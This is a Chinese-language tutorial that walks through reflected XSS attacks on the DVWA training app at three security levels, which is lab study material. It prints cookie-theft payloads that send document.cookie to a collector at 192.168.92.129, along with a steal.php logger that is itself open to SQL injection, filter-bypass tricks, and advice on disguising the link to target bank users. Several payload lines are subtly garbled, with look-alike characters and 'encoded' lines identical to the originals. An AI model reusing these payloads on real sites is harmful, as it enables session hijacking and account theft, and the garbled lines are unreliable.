今天我學習一下反射型XSS。
1、low級別
打開DVWA網站,先切換到low級別,選擇XSS(Reflected)
先查看其源代碼:
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
從上面代碼以及執行結果來看,直接把用戶輸入,也就是name變量值直接顯示在界面。試探是否存在XSS,最直接的方法是輸入payload代碼 <script>alert("xss")</script>,執行查看結果,如果能夠彈出alert對話框,則證明存在xss。
DVWA網站上,在上面提交<script>alert("xss")</script>,,出現上面提示框,則證明該網站存在xss攻擊漏洞。
利用這個XSS,我們可以獲取用戶的cookie或session,獲得後,可以構造“合法用戶”去訪問網站。首先編寫js文件,在窗口輸入中,輸入後執行這個JS文件。JS代碼如下:
document.write("<form action='http://192.168.92.129/DVWA/steal.php' name='exploit' method='post' style='display:none'>");
document.write("<input type='hidden' name='data' value='"+document.cookie+"'>");
document.write("</form>");
document.exploit.submit();
上面代碼主要是構造一個頁面,這個頁面做一個隱藏的form表單和隱藏域,內容是把當前網站的cookie提交表單後,提交到steal.php文件處理。在攻擊時,這個js文件和這個php文件以及數據庫是放在攻擊者自己的服務器上。這裏我把他們都放在了同一個網站裏,原理是相同的。
由steal.php文件完成把cookie寫入文件,steal.php文件內容如下。
<?php
header("content-type:text/html;charset=utf-8");
$conn=mysqli_connect("localhost","root","123456");
mysqli_select_db($conn,"dvwacookie");
if(isset($_GET['data']))
{
$sql="insert into low(cookie) values('".$_GET['data']."');";
$result=mysqli_query($conn,$sql);
echo "1</br>";
mysqli_close();
}
else if(isset($_POST['data']))
{
$sql="insert into low(cookie) values('".$_POST['data']."');";
if (mysqli_query($conn,$sql)) {
echo "scuess!";
} else {
echo "Error: " . $sql . "<br>" . mysqli_error($conn);
}
echo "2</br>".$_POST['data']."</br>";
mysqli_close();
}
else {
$sql="select * from low";
$result=mysqli_query($conn,$sql);
while($row=mysqli_fetch_array($result))
{
echo "cookie is:".$row[1]."</br>";
}
mysqli_close();
}
?>
上面代碼主要根據是get還是post,取數據函數不同。在連接數據庫後,把cookie寫入到表low中。建庫和表的SQL語句如下。
這個庫表的建立sql語句
SET FOREIGN_KEY_CHECKS=0;
DROP TABLE IF EXISTS `high`;
CREATE TABLE `high` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`cookie` varchar(100) COLLATE utf8_unicode_ci NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
DROP TABLE IF EXISTS `low`;
CREATE TABLE `low` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`cookie` varchar(100) COLLATE utf8_unicode_ci NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
DROP TABLE IF EXISTS `medium`;
CREATE TABLE `medium` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`cookie` varchar(100) COLLATE utf8_unicode_ci NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=8 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
在輸入窗口下,輸入下面payload進行攻擊,上面代碼中爲了調試,添加打印語句,實際攻擊中,不會有內容輸出到頁面上。
<script src=http://192.168.92.129/DVWA/cookie.js></script>
相當於在瀏覽器地址欄執行下面語句:
http://192.168.92.129/DVWA/vulnerabilities/xss_r/?name=<script src=http://192.168.92.129/DVWA/cookie.js></script>
我們在這裏演示爲了方便,放在了同一個域下面。實際上src可以加載遠程服務器的js。
執行完成後,看到已經插入到low表中。
如果沒有插入記錄成功,則可能是mysql設置問題,執行下面語句。
1 show variables like "sql_mode";
2 set sql_mode='';
3 set sql_mode='NO_ENGINE_SUBSTITUTION,STRICT_TRANS_TABLES';
XSS攻擊方式經常是攻擊者可以將帶有執行腳本的鏈接地址僞裝後發給正在訪問某個網站(例如某銀行網銀)的受害者,受害者點擊時就會加載遠程服務器(這裏是win7)的cookie.js腳本,這裏要提一點,用src加載遠程服務器的js腳本,那麼js的源就會變成加載它的域,從而可以讀取該域的數據。
2、Medium級別
下面是我們學習Medium級別,切換到中級,查看網站代碼:
可以看到使用str_replace函數把<script>替換爲空格了。所以我們在構造js文件時,可以利用str_replace函數只能替換一次,且不區分大小寫的特點,在提交表單時,把js語句調整爲<scri<script>pt src=http://192.168.92.129/DVWA/cookie.js></script>
上面str_replace函數是對name變量字符串進行正則替換,如果找到<script>替換爲空,替換後執行的還是<script src=http://192.168.92.129/DVWA/cookie.js></script> 語句。
同時修改steal.php中的表,寫到medium表中。執行後,檢查medium表,可以查看到把cookie寫到medium表中。
3、High級別
下面學習安全級別設置爲Hight的情況。設置後查看源代碼
發現添加了對大小寫繞過的判斷,而且根據正則表達式過濾,提交內容只要有script順序出現的字母都一律過濾掉,只是過濾了script標籤,但是有一些javascript事件後仍然能執行javascript代碼,構造payload。
上面preg_replace字符串替換函數中,使用的正則表達式。
preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name'表示在在字符串中找script6個字符,i是不區分大小寫,這些字符中間可以或前後可以有其它多個字符。
<img src=# οnerrοr=alert("xss")> 能夠執行,證明還是存在XSS攻擊。通過加載一個不存在的圖片出錯觸發javascript on error事件,繼續彈框,證明出來有xss,這樣的payload還有很多。
那麼輸入下面語句試試,發現沒有得到cookie
<img
src=# οnerrοr=(location.href="http://192.168.92.129/DVWA/steal.php?data="+document.cookie)>
分析上面語句,發現了問題,在上面語句中,發現了可以構成script,看下面我標記後的語句
<img
src=# οnerrοr=(location.href="http://192.168.92.129/DVWA/steal.php?data="+document.cookie)>
說明把最後一個t之前的全部過濾了。
把其中一個字符使用ASCII編碼,防止出現script字符串。
可以使用轉碼網站http://www.ofmonkey.com/encode/ascii
<img
src=# οnerrοr=(location.href="http://192.168.92.129/DVWA/steal.php?data="+document.cookie)>
則能正常執行,獲得cookie
我們再替換其中一個字符t,ASCII編碼 t
<img
src=# οnerrοr=(location.href="http://192.168.92.129/DVWA/steal.php?data="+document.cookie)>
執行完成後,也會得到cookie。字符轉碼是在攻擊中經常使用的技術。
關注安全 關注作者
(完)